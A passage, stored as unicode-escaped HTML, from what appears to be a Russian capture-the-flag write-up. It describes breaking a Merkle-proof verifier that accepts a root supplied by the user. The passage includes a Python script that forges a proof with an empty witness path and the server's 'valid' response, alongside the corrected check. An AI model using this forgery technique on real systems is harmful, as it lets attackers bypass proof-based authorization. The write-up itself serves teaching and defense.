\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u043d \u0431\u044b\u043b \u0441\u043e\u0437\u0434\u0430\u043d.<\/p>\n<p>\u041d\u0430 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u044f \u044d\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u043b, \u043d\u043e \u0440\u0435\u0448\u0438\u043b, \u0447\u0442\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u043b\u0438\u0441\u0442. \u042d\u0442\u043e \u0438 \u0431\u044b\u043b\u043e \u043f\u0435\u0440\u0432\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u0432 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430.<\/p>\n<h4>\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u0441 150 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430\u043c\u0438<\/h4>\n<p><code>\/api\/stats<\/code> \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u043e\u0435:<\/p>\n<pre><code class=\"python\">accounts: 150proofs_verified: 414<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0427\u0435\u0440\u0435\u0437 <code>proofJobs<\/code> \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u043b\u043e\u0441\u044c \u043e\u043a\u043e\u043b\u043e 600 \u0437\u0430\u0434\u0430\u043d\u0438\u0439. \u0412 \u043d\u0438\u0445 \u0431\u044b\u043b\u043e 147 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 <code>accountId<\/code>.<br \/> \u0420\u0430\u0437\u043d\u0438\u0446\u0430 \u0440\u043e\u0432\u043d\u043e \u0432 \u0442\u0440\u0438 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e.<\/p>\n<p>\u0414\u0430\u043b\u044c\u0448\u0435 \u0431\u044b\u043b\u043e \u043c\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432 \u0438\u0442\u043e\u0433\u0435 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0430\u0441\u044c:<br \/> * \u0441\u043e\u0431\u0440\u0430\u043b \u0432\u0441\u0435 job; * \u0432\u044b\u0434\u0435\u043b\u0438\u043b \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 account ID; * \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b \u043f\u043e \u044d\u043f\u043e\u0445\u0430\u043c \u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c; * \u0440\u0430\u0437\u0431\u0438\u043b 147 ID \u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u044b \u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u044f\u043b \u0437\u0430\u043f\u0440\u043e\u0441\u044b; * \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u044c, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f UUID.<\/p>\n<p>\u0412 jobs \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f:<\/p>\n<pre><code class=\"python\">CHECK_MEMBERSHIPQUERY_STATUSVERIFY_MEMBER<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441 \u043c\u043e\u0438\u043c proof \u0434\u0430\u0432\u0430\u043b\u0438 \u043e\u0431\u0449\u0438\u0439 \u043e\u0442\u0432\u0435\u0442:<\/p>\n<pre><code class=\"python\">credit service error<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0412 \u0438\u0442\u043e\u0433\u0435 \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0442\u0440\u043e\u0439\u043a\u0438 \u0438\u0441\u043a\u0430\u0442\u044c \u043d\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c. \u0414\u043b\u044f \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u043e\u0434\u043e\u0448\u0435\u043b \u0431\u044b \u043b\u044e\u0431\u043e\u0439 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0439 account ID.<\/p>\n<h4>\u0421\u0442\u0430\u0440\u044b\u0435 persisted queries<\/h4>\n<p>\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043d\u0430\u0445\u043e\u0434\u043a\u043e\u0439 \u0431\u044b\u043b\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044f persisted queries. \u0412 \u043d\u0435\u0439 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c \u0432\u0435\u0441\u044c\u043c\u0430 \u043c\u043d\u043e\u0433\u043e\u043e\u0431\u0435\u0449\u0430\u044e\u0449\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f:<\/p>\n<pre><code class=\"python\">getLeafsubmitProofcreateAccountgetEntitlementclaimEntitlementgetSyntheticCreditsgetClaimStatequeryAccountStatus<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u042f \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b \u043e\u043a\u043e\u043b\u043e \u0434\u0432\u0443\u0445\u0441\u043e\u0442 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0438 \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0441\u0442\u0430\u0440\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. \u041f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u044d\u0442\u0438 \u043f\u043e\u043b\u044f \u0443\u0436\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438 \u0432 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0441\u0445\u0435\u043c\u0435.<\/p>\n<p>\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0430\u0440\u044b\u0439 <code>claimEntitlement<\/code> \u0438\u043b\u0438 \u0436\u0435 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u0440\u044b\u0439 <code>getLeaf<\/code> \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u044c \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430. \u041d\u0438\u0447\u0435\u0433\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e. \u0410\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430 \u0432\u0441\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0430 \u043f\u0435\u0440\u0435\u0434 \u0433\u043b\u0430\u0437\u0430\u043c\u0438 <code>verifyBetaReserveProof<\/code>.<\/p>\n<h4>Beta token<\/h4>\n<p>\u0415\u0449\u0435 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0431\u044b\u043b \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 beta token <code>3eb4d6c11d416459f7284215152eb114<\/code><\/p>\n<p>\u041f\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044e GraphQL-\u043f\u043e\u043b\u044f \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e \u043b\u043e\u0433\u0438\u0447\u043d\u043e: \u0435\u0441\u0442\u044c <code>verifyBetaReserveProof<\/code>, \u0435\u0441\u0442\u044c beta token, \u0437\u043d\u0430\u0447\u0438\u0442 token \u043d\u0430\u0434\u043e \u043a\u0443\u0434\u0430-\u0442\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c.<\/p>\n<p>\u042f \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u043b \u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0432\u0440\u043e\u0434\u0435:<\/p>\n<pre><code class=\"python\">Authorization: BearerAuthorization:X-Beta-Token:X-API-Key:Cookie: betaToken=<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0442\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b token \u043a\u0430\u043a <code>accountId<\/code>, \u043a\u0430\u043a \u0447\u0430\u0441\u0442\u044c secret, serial \u0438 blind. \u041f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c. \u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 token \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f \u0432\u043e\u043e\u0431\u0449\u0435.<\/p>\n<h4>Monero view key<\/h4>\n<p>\u041c\u0430\u0440\u0448\u0440\u0443\u0442 <code>\/api\/pool\/info<\/code> \u043e\u0442\u0434\u0430\u0432\u0430\u043b Monero-\u0430\u0434\u0440\u0435\u0441 \u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 view key. \u041a\u043b\u044e\u0447 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0430\u0434\u0440\u0435\u0441\u0443, \u044d\u0442\u043e \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u0440\u043e free XMR \u0442\u0430\u043a\u0430\u044f \u0443\u0442\u0435\u0447\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u043e\u0447\u0442\u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u043e\u0442\u0432\u0435\u0442\u043e\u043c. \u041d\u043e \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 view key \u0432 Monero \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0438\u0434\u0435\u0442\u044c \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u0442\u0440\u0430\u0442\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430. Spend key \u0441\u0435\u0440\u0432\u0438\u0441 \u043d\u0435 \u043e\u0442\u0434\u0430\u0432\u0430\u043b.<\/p>\n<p>\u042f \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432: * \u0430\u0434\u0440\u0435\u0441 \u043a\u0430\u043a account ID; * view key \u043a\u0430\u043a secret; * \u0430\u0434\u0440\u0435\u0441 \u0438 key \u043a\u0430\u043a serial\/blind; * \u0445\u0435\u0448\u0438 \u044d\u0442\u0438\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432 proof; * \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0443\u044e \u0441\u0432\u044f\u0437\u044c \u0431\u0430\u043b\u0430\u043d\u0441\u0430 \u043f\u0443\u043b\u0430 \u0441 credit service.<\/p>\n<p>\u0424\u043b\u0430\u0433 \u043a view key \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u043d\u0435 \u0438\u043c\u0435\u043b.<\/p>\n<p>\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u0448\u0430\u043b <code>\/api\/pool\/balance<\/code>. \u041e\u043d \u0443\u0441\u043f\u0435\u043b \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c:<\/p>\n<pre><code>wallet rpc unreachable0\u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0431\u0430\u043b\u0430\u043d\u0441<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0418\u0437-\u0437\u0430 \u044d\u0442\u043e\u0433\u043e <code>credit service error<\/code> \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u043b\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. \u041d\u0435\u043b\u044c\u0437\u044f \u0431\u044b\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043b\u0438 action \u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043d\u043e\u0432\u0430 \u043d\u0435 \u043f\u043e\u0434\u043d\u044f\u043b\u0441\u044f wallet RPC.<\/p>\n<h4>\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u043a proof<\/h4>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0432\u0441\u0435\u0445 \u044d\u0442\u0438\u0445 \u043a\u0440\u0443\u0433\u043e\u0432 \u044f \u0441\u043d\u043e\u0432\u0430 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b \u043d\u0430 \u0444\u043e\u0440\u043c\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430. \u0423 verifier \u0435\u0441\u0442\u044c \u0442\u0440\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438:<\/p>\n<ol>\n<li>\n<p>\u043b\u0438\u0441\u0442;<\/p>\n<\/li>\n<li>\n<p>\u043f\u0443\u0442\u044c \u043e\u0442 \u043b\u0438\u0441\u0442\u0430 \u0434\u043e \u043a\u043e\u0440\u043d\u044f;<\/p>\n<\/li>\n<li>\n<p>\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0440\u0435\u043d\u044c, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043d\u0430\u0434\u043e \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.<\/p>\n<\/li>\n<\/ol>\n<p>\u041f\u0435\u0440\u0432\u044b\u0435 \u0434\u0432\u0435 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c. \u0422\u0440\u0435\u0442\u044c\u044e \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u0440\u0430\u0442\u044c \u0443 \u0441\u0435\u0431\u044f. \u041d\u043e <code>epoch_root<\/code> \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0441\u044f \u043f\u0440\u044f\u043c\u043e \u0432 <code>proofJson<\/code>. \u0422\u043e\u0433\u0434\u0430 \u0432\u043e\u0437\u043d\u0438\u043a \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0442\u0435\u0441\u0442: \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442, \u0435\u0441\u043b\u0438 \u043f\u0443\u0442\u044c \u043f\u0443\u0441\u0442\u043e\u0439?<\/p>\n<p>\u041e\u0431\u044b\u0447\u043d\u044b\u0439 \u0440\u0430\u0441\u0447\u0435\u0442 Merkle root \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:<\/p>\n<pre><code class=\"python\">current = leaf_hashfor sibling in witness_path:    current = hash_pair(current, sibling)    return current<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0415\u0441\u043b\u0438 <code>witness_path = []<\/code>, \u0446\u0438\u043a\u043b \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0441\u0430\u043c <code>leaf_hash<\/code>.<\/p>\n<p>\u0417\u043d\u0430\u0447\u0438\u0442, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c:<\/p>\n<pre><code class=\"python\">witness_path = []leaf_index = 0epoch_root = leaf_hash<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u0435\u0441\u044c proof \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0438\u0437 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.<\/p>\n<p>\u042f \u0432\u0437\u044f\u043b \u0442\u0440\u0438 \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f:<\/p>\n<pre><code class=\"python\">secret = bytes.fromhex(\"03\" * 32)serial = bytes.fromhex(\"04\" * 32)blind = bytes.fromhex(\"05\" * 32)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043b\u043b\u043c\u043a\u043e\u0439 \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code class=\"python\">import hashlibimport jsondef h(data):    return hashlib.sha256(data).digest()secret = bytes.fromhex(\"03\" * 32)serial = bytes.fromhex(\"04\" * 32)blind = bytes.fromhex(\"05\" * 32)leaf_hash = h(secret + serial)epoch_root = leaf_hashcommitment = h(leaf_hash + blind)challenge = h(epoch_root + commitment)response = h(challenge + secret + blind)proof = {    \"leaf_secret\": secret.hex(),    \"leaf_serial\": serial.hex(),    \"blind\": blind.hex(),    \"witness_path\": [],    \"leaf_index\": 0,    \"epoch_root\": epoch_root.hex(),    \"epoch\": 40,    \"commitment\": commitment.hex(),    \"response\": response.hex(),}print(json.dumps(proof, separators=(\",\", \":\")))<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043b\u0438\u0441\u044c \u0442\u0430\u043a\u0438\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f:<\/p>\n<pre><code class=\"python\">epoch_root = 505a9c6ac70bdffa46248e2025483f9fe997a0e31ed25559e448b73b7e02b9bdcommitment = c9a20c9797170bbe04ca1923ab19f821751c045c103d8a490c382d22852af9a7response = 11a891c34d9851f7da7648f5069cb65a3d028029a50afc37300e46479e3a9df7<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e \u044d\u0442\u043e \u0432 <code>\/api\/proof\/verify<\/code> \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044e:<\/p>\n<pre><code class=\"json\">{\"valid\":true}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0412\u043e\u0442 \u0437\u0434\u0435\u0441\u044c \u0437\u0430\u0434\u0430\u0447\u0430 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0440\u0435\u0448\u0435\u043d\u0430. \u042f \u043d\u0435 \u0437\u043d\u0430\u044e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u043b\u0438\u0441\u0442\u0430, \u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u043c.<\/p>\n<p>\u041e\u0448\u0438\u0431\u043a\u0430 verifier \u0432 \u043f\u0441\u0435\u0432\u0434\u043e\u043a\u043e\u0434\u0435:<\/p>\n<pre><code class=\"python\">computed_root = walk(leaf_hash, proof.witness_path, proof.leaf_index)return computed_root == proof.epoch_root<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0414\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c:<\/p>\n<pre><code class=\"python\">trusted_root = roots_from_database[proof.epoch]computed_root = walk(leaf_hash, proof.witness_path, proof.leaf_index)return computed_root == trusted_root<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041d\u0438\u043a\u0430\u043a\u043e\u0439 \u043a\u0440\u0438\u043f\u0442\u044b \u0442\u0443\u0442 \u043d\u0435\u0442. \u0421\u0435\u0440\u0432\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0445\u0435\u0448\u0438, \u043d\u043e \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0435\u0449\u0435 \u0441 \u043e\u0434\u043d\u0438\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e (\u043c\u043e\u0438\u043c).<\/p>\n<h4>Proof \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0439, \u0430 \u0444\u043b\u0430\u0433\u0430 \u0432\u0441\u0435 \u0435\u0449\u0435 \u043d\u0435\u0442<\/h4>\n<p>\u041f\u043e\u0441\u043b\u0435 <code>\/api\/proof\/verify<\/code> \u044f \u043e\u0436\u0438\u0434\u0430\u043b, \u0447\u0442\u043e GraphQL \u0441\u0440\u0430\u0437\u0443 \u043e\u0442\u0434\u0430\u0441\u0442 token \u0438\u043b\u0438 flag. \u041d\u0435 \u043e\u0442\u0434\u0430\u043b \ud83d\ude41<\/p>\n<p>\u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u043b \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438\u0437 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 jobs:<\/p>\n<pre><code class=\"json\">CHECK_MEMBERSHIPQUERY_STATUSVERIFY_MEMBER<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041e\u0442\u0432\u0435\u0442:<\/p>\n<pre><code>credit service error<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u043b \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 GraphQL-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438:<\/p>\n<pre><code class=\"json\">verifyBetaReserveProofVERIFY_BETA_RESERVE_PROOFBETA_RESERVERESERVE_PROOFVERIFY_RESERVEBETA_RESERVE_PROOFCLAIM_RESERVE<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0418 \u0441\u043d\u043e\u0432\u0430 \u043e\u0434\u043d\u0430 \u0438 \u0442\u0430 \u0436\u0435 \u043e\u0448\u0438\u0431\u043a\u0430.<\/p>\n<p>\u041d\u0430 \u044d\u0442\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u0431\u044b\u043b\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. Proof \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0443\u0436\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442. Account ID 